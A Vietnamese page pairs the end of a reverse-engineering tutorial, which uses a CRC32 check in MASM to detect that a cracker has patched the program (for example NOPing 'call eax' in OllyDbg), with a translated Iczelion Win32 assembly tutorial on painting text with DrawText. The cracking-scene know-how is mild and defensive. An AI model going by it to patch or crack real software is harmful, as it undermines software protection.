dd 01ADAD47Dh, 06DDDE4EBh, 0F4D4B551h, 083D385C7h, 0136C9856h, 0646BA8C0h, 0FD62F97Ah, 08A65C9ECh, 014015C4Fh, 063066CD9h

dd 0FA0F3D63h, 08D080DF5h, 03B6E20C8h, 04C69105Eh, 0D56041E4h, 0A2677172h, 03C03E4D1h, 04B04D447h, 0D20D85FDh, 0A50AB56Bh

dd 035B5A8FAh, 042B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 032D86CE3h, 045DF5C75h, 0DCD60DCFh, 0ABD13D59h, 026D930ACh, 051DE003Ah

dd 0C8D75180h, 0BFD06116h, 021B4F4B5h, 056B3C423h, 0CFBA9599h, 0B8BDA50Fh, 02802B89Eh, 05F058808h, 0C60CD9B2h, 0B10BE924h

dd 02F6F7C87h, 058684C11h, 0C1611DABh, 0B6662D3Dh, 076DC4190h, 001DB7106h, 098D220BCh, 0EFD5102Ah, 071B18589h, 006B6B51Fh

dd 09FBFE4A5h, 0E8B8D433h, 07807C9A2h, 00F00F934h, 09609A88Eh, 0E10E9818h, 07F6A0DBBh, 0086D3D2Dh, 091646C97h, 0E6635C01h

dd 06B6B51F4h, 01C6C6162h, 0856530D8h, 0F262004Eh, 06C0695EDh, 01B01A57Bh, 08208F4C1h, 0F50FC457h, 065B0D9C6h, 012B7E950h

dd 08BBEB8EAh, 0FCB9887Ch, 062DD1DDFh, 015DA2D49h, 08CD37CF3h, 0FBD44C65h, 04DB26158h, 03AB551CEh, 0A3BC0074h, 0D4BB30E2h

dd 04ADFA541h, 03DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 04369E96Ah, 0346ED9FCh, 0AD678846h, 0DA60B8D0h, 044042D73h, 033031DE5h

dd 0AA0A4C5Fh, 0DD0D7CC9h, 05005713Ch, 0270241AAh, 0BE0B1010h, 0C90C2086h, 05768B525h, 0206F85B3h, 0B966D409h, 0CE61E49Fh

dd 05EDEF90Eh, 029D9C998h, 0B0D09822h, 0C7D7A8B4h, 059B33D17h, 02EB40D81h, 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 09ABFB3B6h

dd 003B6E20Ch, 074B1D29Ah, 0EAD54739h, 09DD277AFh, 004DB2615h, 073DC1683h, 0E3630B12h, 094643B84h, 00D6D6A3Eh, 07A6A5AA8h

dd 0E40ECF0Bh, 09309FF9Dh, 00A00AE27h, 07D079EB1h, 0F00F9344h, 08708A3D2h, 01E01F268h, 06906C2FEh, 0F762575Dh, 0806567CBh

dd 0196C3671h, 06E6B06E7h, 0FED41B76h, 089D32BE0h, 010DA7A5Ah, 067DD4ACCh, 0F9B9DF6Fh, 08EBEEFF9h, 017B7BE43h, 060B08ED5h

dd 0D6D6A3E8h, 0A1D1937Eh, 038D8C2C4h, 04FDFF252h, 0D1BB67F1h, 0A6BC5767h, 03FB506DDh, 048B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch

dd 036034AF6h, 041047A60h, 0DF60EFC3h, 0A867DF55h, 0316E8EEFh, 04669BE79h, 0CB61B38Ch, 0BC66831Ah, 0256FD2A0h, 05268E236h

dd 0CC0C7795h, 0BB0B4703h, 0220216B9h, 05505262Fh, 0C5BA3BBEh, 0B2BD0B28h, 02BB45A92h, 05CB36A04h, 0C2D7FFA7h, 0B5D0CF31h

dd 02CD99E8Bh, 05BDEAE1Dh, 09B64C2B0h, 0EC63F226h, 0756AA39Ch, 0026D930Ah, 09C0906A9h, 0EB0E363Fh, 072076785h, 005005713h

dd 095BF4A82h, 0E2B87A14h, 07BB12BAEh, 00CB61B38h, 092D28E9Bh, 0E5D5BE0Dh, 07CDCEFB7h, 00BDBDF21h, 086D3D2D4h, 0F1D4E242h

dd 068DDB3F8h, 01FDA836Eh, 081BE16CDh, 0F6B9265Bh, 06FB077E1h, 018B74777h, 088085AE6h, 0FF0F6A70h, 066063BCAh, 011010B5Ch

dd 08F659EFFh, 0F862AE69h, 0616BFFD3h, 0166CCF45h, 0A00AE278h, 0D70DD2EEh, 04E048354h, 03903B3C2h, 0A7672661h, 0D06016F7h

dd 04969474Dh, 03E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 040DF0B66h, 037D83BF0h, 0A9BCAE53h, 0DEBB9EC5h, 047B2CF7Fh, 030B5FFE9h

dd 0BDBDF21Ch, 0CABAC28Ah, 053B39330h, 024B4A3A6h, 0BAD03605h, 0CDD70693h, 054DE5729h, 023D967BFh, 0B3667A2Eh, 0C4614AB8h

dd 05D681B02h, 02A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 05A05DF1Bh, 02D02EF8Dh

CRC32 endp

end start

Sau khi biên dịch, ta chạy thử chương trình. Đầu tiên nó chạy đọan code cần check CRC và hiện lên thông điệp:

Sau đó nó sẽ báo CRC của đọan code cần check là :

Vậy CRC chuẩn là 0x10fd82e6. Do lúc đầu ta chưa biết CRC là bao nhiêu nên ta giả sử nó là 082492b0ah :

.if eax==082492b0ah

Vì vậy chương trình mới hiện lên hộp thông điệp:

Bây giờ ta thay đổi chương trình trên tại đọan kiểm tra kết quả CRC, nếu CRC chuẩn tức là bằng 0x10fd82e6 thì báo chương trình ko bị patching, nếu ngược lại thì chương trình đã bị cracker can thiệp. Ta sửa đọan thành :

.if eax==010fd82e6h

Save lại và biên dịch lại. Sau khi biên dịch cho chạy chương trình chúng ta sẽ thấy chương trình thông báo như sau:

Bây giờ thử bật Olly lên và patch Nops dòng code “call eax” trong đọan code đó xem sao, chúng ta sẽ bị “tò tí te” liền.


Thôi hé. Phần này cũng khá dài rồi. Để dành tuts sau chúng ta nghiên cứu thêm . Phải nói là muôn vàng kỹ thuật. Viết hòai ko hết đâu. Đây chỉ là phần dạo đầu làm cho các bạn hứng khởi thôi. Các phần sau sẽ phức tạp hơn đôi chút. Chúc các bạn vui vẽ.

Benina

6/25/09

[Iczelion's Tuts] TUTORIAL 4: PAINTING WITH TEXT

TUTORIAL 4: PAINTING WITH TEXT

Trong tut này, chúng ta sẽ học paint (vẽ) một text như thế nào trong vùng client của một cửa sổ . Chúng ta sẽ học về device context (ngữ cảnh thiết bị)

Bạn có thể download source code ở đây:


LÝ THUYẾT

Text trong windows là một lọai đối tượng GUI (Graphical User Interface :giao diện người dùng đồ họa). Mỗi ký tự được sọan ra bằng nhiều pixels (dots) mà chúng được gộp lại với nhau thành một pattern (mẫu) riêng. Vì vậy tại sao nó được gọi là “painting” chứ ko phải là “writing”. Thông thường bạn paint (vẽ) một text trong vùng client của bạn ( thực tế, bạn có thể paint bên ngòai vùng client, nhưng đó là đề tài khác). Đặt text trên màn hình trong Windows khác hòan tòan trong Dos. Trong Dos, bạn có thể tưởng tượng màn hình có kích thước 80x25. Nhưng trong Windows, màn hình được chia sẽ cho những chương trình khác nhau. Vài rules (qui tắc) bắt buộc phải tuân thủ để tránh tình trạng chương trình này viết đè lên màn hình của chương trình khác .Windows đảm bảo điều này bằng cách giới hạn vùng painting của mỗi window là vùng client của chính nó (vùng client của một window là phần của cửa sổ ứng dụng trừ thanh tiêu đề, đường viền, menu, thanh công cụ , thanh trạng thái và thanh cuộn). Kích thước vùng Client của một window cũng không phải là hằng số. Người dùng có thể thay đổi kích thước bất kỳ khi nào muốn. Vì vậy bạn có thể xác định kích thước của chính vùng client của bạn một cách linh động.

Trước khi bạn có thể vẽ cái gì đó trên vùng client, bạn phải hỏi Windows có chấp thuận ko. Bạn ko thể điều khiển tuyệt đối của màn hình như bạn làm việc trong môi trường Dos. Bạn phải hỏi Windows có chấp nhận cho quyền bạn vẽ vào vùng Client của bạn ko. Windows sẽ xác định kích thước của vùng Client của bạn , font, colors và các thuộc tính GDI (Graphics Device Interface: Giao diện thiết bị đồ họa) khác, và gởi về một handle (thẻ quản) của device context cho chương trình của bạn. Bạn có thể dùng device context như một giấy thông hành để vẽ trên vùng client.

Vậy một device context là gì?. Nó chỉ là một cấu trúc dữ liệu được duy trì bên trong Windows . Một DC (device context) được liên kết với một thiết bị đặc biệt như là máy in, màn hình hiển thị. Ví dụ trong một màn hình hiển thị, một DC thường được liên kết với một cửa sổ đặc biệt trong màn hình.

Vài giá trị trong một DC là các thuộc tính đồ họa, ví dụ như : colors, font…vân vân. Chúng là những giá trị mặc định mà bạn có thể thay đổi tùy lúc. Chúng tồn tại để trợ giúp giảm bớt việc load mọi hàm GDI mà thuộc tính của chúng phải được chỉ định (tức là giảm bớt việc tải các tham số của hàm GDI).

Bạn có thể nghĩ rằng một DC giống như một môi trường mặc định được chuẩn bị sẳn cho bạn bởi Windows. Bạn có thể xài vài setting (thiết lập) mặc định nếu bạn muốn.

Khi một chương trình cần paint , nó phải nhận được một handle của một DC. Thông thường có nhiều cách khác nhau để làm chuyện này:

call BeginPaint đáp trả thông điệp WM_PAINT message.
call GetDC đáp trả các messages khác.
call CreateDC cài đặt một device context cho chính bạn

Một điều mà bạn phải nhớ là, sau khi bạn có device context handle , bạn phải phát hành” (release ) nó trong suốt tiến trình của một message đơn độc. Đừng nhận handle cho việc đáp trả một message này mà lại đi “phát hành”cho việc đáp trả cho một message khác.

Windows post thông điệp WM_PAINT đến một cửa sổ window để thông báo rằng ngay lúc này nó sẽ vẽ lại vùng client của window. Windows ko lưu nội dung của vùng client của một cửa số. Giả như, xảy ra hòan cảnh cho phép chấp thuận vẽ lại một vùng client (Như trường hợp một window được che phủ bởi những window khác và nó phải hiện lênh ko bị che phủ nữa), Windows sẽ put thông điệp WM_PAINT trong chuổi thông điệp của window. Nó chịu trách nhiệm vẽ lại chính vùng client của window. Bạn phải tập hợp tất cả các thông tin vẽ lại như thế nào trong vùng client trong section WM_PAINT của thủ tục window của bạn, vì vậy thủ tục window có thể vẽ lại vùng client khi message WM_PAINT xảy đến.

Khái niệm khác mà bạn phải tìm hiểu đến là điều khỏan hình chử nhật không hợp lệ (invalid rectangle). Windows định nghĩa một hình chử nhật không hợp lệ là một vùng hình chử nhật nhỏ nhất trong vùng client cần được vẽ lại. Khi Windows dò tìm ra một hình chử nhật không hợp lệ trong vùng client của một window , nó sẽ post thông điệp WM_PAINT đến window đó.Trong việc đáp trả lại thông điệp WM_PAINT , window có thể thu được một cấu trúc paintstruct đang chứa đựng nó, trong số những thứ thu được, có tọa độ của hình chử nhật không hợp lệ. Bạn gọi hàm BeginPaint trong việc đáp trả thông điệp WM_PAINT để “xác nhận” (validate, hay còn gọi là hợp lệ hóa) hình chử nhật không hợp lệ (invalid rectangle). Nếu bạn ko tiến hành như thế qua thông điệp WM_PAINT, thì ít nhất, bạn cũng phải gọi hàm DefWindowProc hay ValidateRect để “xác nhận” hình chử nhật ko hợp lệ (tức là cho nó hợp lệ), nếu khác Windows sẽ gởi cho bạn thông điệp WM_PAINT lặp đi lặp lại nhiều lần.

Dưới đây là từng bước bạn phải thực hiện trong việc đáp trả thông điệp WM_PAINT :

Lấy một handle của device context bằng hàm BeginPaint.
Paint vùng client.
Release (phát hành) handle của device context bằng hàm EndPaint

Chú ý rằng , bạn ko phải làm hợp lệ (xác nhận) hình chử nhật ko hợp lệ một cách dứt điểm ngay tức khắc. Nó được làm một cách tự động bởi hàm BeginPaint. Giữa cặp BeginPaint-EndPaint , bạn có thể gọi bất kỳ hàm GDI để paint vùng client của bạn. Gần như tất cả chúng đều cần handle của device context như một tham số.

Ghi chú thêm của người dịch:

Có thể các bạn mới học về lập trình Windows khó hiểu những gì đã nói ở trên, nên tôi sẽ ghi chú thêm để các bạn có cái nhìn rõ ràng hơn.

-Ví dụ: Một chương trình khác đè lên màn hình của ta , khi nó di chuyển dời đi ,Windows sẽ thông báo vẽ lại màn hình của ta bằng cách post thông điệp WM_PAINT đến thủ tục window của ta.

-Thủ tục window thường chỉ cập nhật vẽ lại một vùng hình chử nhật nhỏ (không phải tòan vùng client) , ví dụ rõ ràng nhất chính là một hộp thọai nằm lên một phần của vùng client. Việc vẽ lại (repaint) chỉ yêu cầu đối với vùng hình chử nhật bị hộp thọai che phủ phải được giải che khi hộp thọai thu hồi.Vùng đó được gọi là hình chử nhật ko hợp lệ.

-Và bạn nên có khái niệm này: khi tồn tại một vùng hình chử nhật ko hợp lệ , thì Windows sẽ post thông điệp WM_PAINT đến thủ tục window của ta.

-Windows duy trì một cấu trúc thông tin paint (paintstruct) đối với mỗi cửa sổ. Cấu trúc này chứa nhiều thông tin , trong đó có tọa độ của hình chử nhật ko hợp lệ.

-Thủ tục window có thể bất hợp lệ hóa một hình chử nhật ko hợp lệ để buộc Windows xuất thông điệp WM_PAINT bằng hàm InvalidateRect.

-Sau khi thủ tục window gọi hàm BeginPaint trong thông điệp WM_PAINT, tòan bộ vùng client sẽ được hợp lệ hóa. Một chương trình cũng có thể hợp lệ (hay còn gọi là “xác nhận” (validate)) bất kỳ vùng hình chử nhật nào bên trong vùng client bằng cách gọi hàm ValidateRect. Nếu gọi hàm này có hiệu ứng hợp lệ hóa tòan bộ vùng ko hợp lệ, thông điệp WM_PAINT nếu có nằm trong hàng đợi thông điệp đều bị thu hồi.

-Bạn muốn vẽ trong vùng client, bạn sử dụng các hàm GDI. Khi dùng hàm GDI, ta phải cần có một handle Device Context (DC, ngữ cảnh thiết bị) để hàm biết cần vẽ lên “ngữ cảnh thiết bị” nào. Vậy Handle DC là giấy thông hành của cửa sổ bạn đến các hàm GDI. DC chẳng qua là một cấu trúc dữ liệu được duy trì bên trong bởi GDI. Một DC kết hợp với một thiết bị hiển thị đặc thù, như màn hình hay máy in chẳng hạn. Đối với một màn hình, DC thường kết hợp với một cửa sổ đặc thù trên màn hình. Sau khi bạn sẽ xong trong “ngữ cảnh thiết bị” bằng các hàm GDI, bạn sẽ “phát hành” (release) nó bằng hàm EndPaint.

NỘI DUNG:

Chúng ta sẽ viết một chương trình hiển thị một text string “Win32 assembly is great and easy!” trong trung tâm của vùng client.

.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib

.DATA
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
OurText db "Win32 assembly is great and easy!",0

.DATA?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.CODE
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax

invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT
LOCAL rect:RECT
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_PAINT
invoke BeginPaint,hWnd, ADDR ps
mov hdc,eax
invoke GetClientRect,hWnd, ADDR rect
invoke DrawText, hdc,ADDR OurText,-1, ADDR rect, \
DT_SINGLELINE or DT_CENTER or DT_VCENTER
invoke EndPaint,hWnd, ADDR ps
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax, eax
ret
WndProc endp
end start

PHÂN TÍCH:

Đa số code này giống như ví dụ trong tut 3. Tôi sẽ chỉ giải thích những thay đổi quan trọng.

LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT
LOCAL rect:RECT

Chúng là biến cục bộ được sử dụng bởi các hàm GDI trong section WM_PAINT của chúng ta.

hdc được dùng để lưu handle của device context được trả về từ hàm BeginPaint .

ps là cấu trúc PAINTSTRUCT . Thông thường bạn ko sử dụng các giá trị trong ps . Nó được chuyển đến hàm BeginPaint và Windows fill (lắp) nó với giá trị thích hợp. Rồi bạn chuyển ps đến hàm EndPaint khi bạn hòan thành paint vùng client.

rect là một cấu trúc RECT, được định nghĩa như sau:

RECT Struct
left LONG ?
top LONG ?
right LONG ?
bottom LONG ?
RECT ends

lefttop là tọa độ của góc trái cao của một hình chử nhật. rightbottom là tọa độ góc phải dưới. Một điều cần nhớ là : Trục x-y origin là tại góc trái trên của vùng client. Vì vậy điểm y=10 là nằm dưới điểm y=0

invoke BeginPaint,hWnd, ADDR ps
mov hdc,eax
invoke GetClientRect,hWnd, ADDR rect
invoke DrawText, hdc,ADDR OurText,-1, ADDR rect, \
DT_SINGLELINE or DT_CENTER or DT_VCENTER
invoke EndPaint,hWnd, ADDR ps

Trong việc đáp trả thông điệp WM_PAINT, bạn gọi hàm BeginPaint với handle của window mà bạn muốn vẽ và một cấu trúc PAINTSTRUCT ko định trị đầu cho các tham số. Sau khi hòan thành lời gọi hàm, eax chứa handle của device context . Kế đến bạn gọi GetClientRect để lấy lại kích thước của vùng client . Kích thước được trả về trong biến rect và bạn truyền nó đến hàm DrawText như một trong những tham số của hàm. Cú pháp của hàm DrawText như sau:

DrawText proto hdc:HDC, lpString:DWORD, nCount:DWORD, lpRect:DWORD, uFormat:DWORD

DrawText là một hàm API xuất ra một text ở lớp cao (high-level).Nó xử lý vài chi tiết “đẫm máu” như word wrap, centering …vân vân. Vì vậy bạn có thể định vị string mà bạn muốn paint vào giữa trung tâm (center). Anh em low-level (lớp thấp) của nó là TextOut sẽ được nghiên cứu trong tut khác. DrawText định dạng một text string vừa khớp ko quá giới hạn hình chử nhật. Nó dùng font, color và background đã được lựa chọn (trong device context) để vẽ text. Những dòng được wrap(bao phủ) ko quá giới hạn hình chử nhật. Nó trả về height (chiều cao) của output text (text xuất ra) , có giá trị là đơn vị của decive (đơn vị của thiết bị), trong case của chúng ta là pixels. Chúng ta hảy xem xét các tham số của chúng:

hdc : handle của device context

lpString : pointer của string mà bạn muốn vẽ trong hình chử nhật. String phải là chuổi kết thúc bằng Null, nếu khác bạn phải chỉ rõ chiều dài của nó trong tham số kế tiếp,nCount

nCount : số các ký tự xuất ra. Nếu string kết thúc là null thì nCount phải là -1. hay nói cách khác, nCount phải chứa số của các ký tự trong string mà bạn muốn vẽ.

lpRect : pointer của hình chử nhật ( một cấu trúc lọai RECT) mà bạn muốn vẽ string trong đó. Chú ý rằng hình chử nhật cũng là một mẫu hình chử nhật, có nghĩa là bạn ko thể vẽ string ra ngòai hình chử nhật này.

uFormat : Giá trị chỉ định vị string hiển thị trong hình chử nhật như thế nào. Chúng ta dùng 3 giá trị được kết hợp bởi tóan hạn “or” như sau:

DT_SINGLELINE : chỉ định một dòng text đơn

DT_CENTER : trung tâm của text theo phương ngang

DT_VCENTER : trung tâm của text theo phương đứng

Sau khi hòan thành painting vùng client, bạn phải gọi hàm EndPaint để phát hành handle của device context.

-Bạn gọi cặp BeginPaint-EndPaint để đáp trả tín hiệu WM_PAINT

-Làm bất cứ điều gì bạn thích với vùng client giữa các hàm BeginPaintEndPaint

-Nếu bạn muốn vẽ lại vùng client của bạn để đáp trả các thông điệp khác , bạn có 2 lựa chọn:

1/.Sử dụng cặp GetDC-ReleaseDC thực hiện việc painting của bạn giữa 2 lời gọi hàm

2/.Gọi hàm InvalidRect hay UpdateWindow để làm mất hiệu lực tòan bộ vùng client, ép Windows put thông điệp WM_PAINT vào trong chuổi thông điệp của window của bạn và thực hiện vẽ trong section WM_PAINT.

Benina (21/11/2004)

Update 29/12/2005

(Không đồng ý bất kỳ ai sử dụng tài liệu này cho mục đích thương mại nếu ko được phép của người dịch)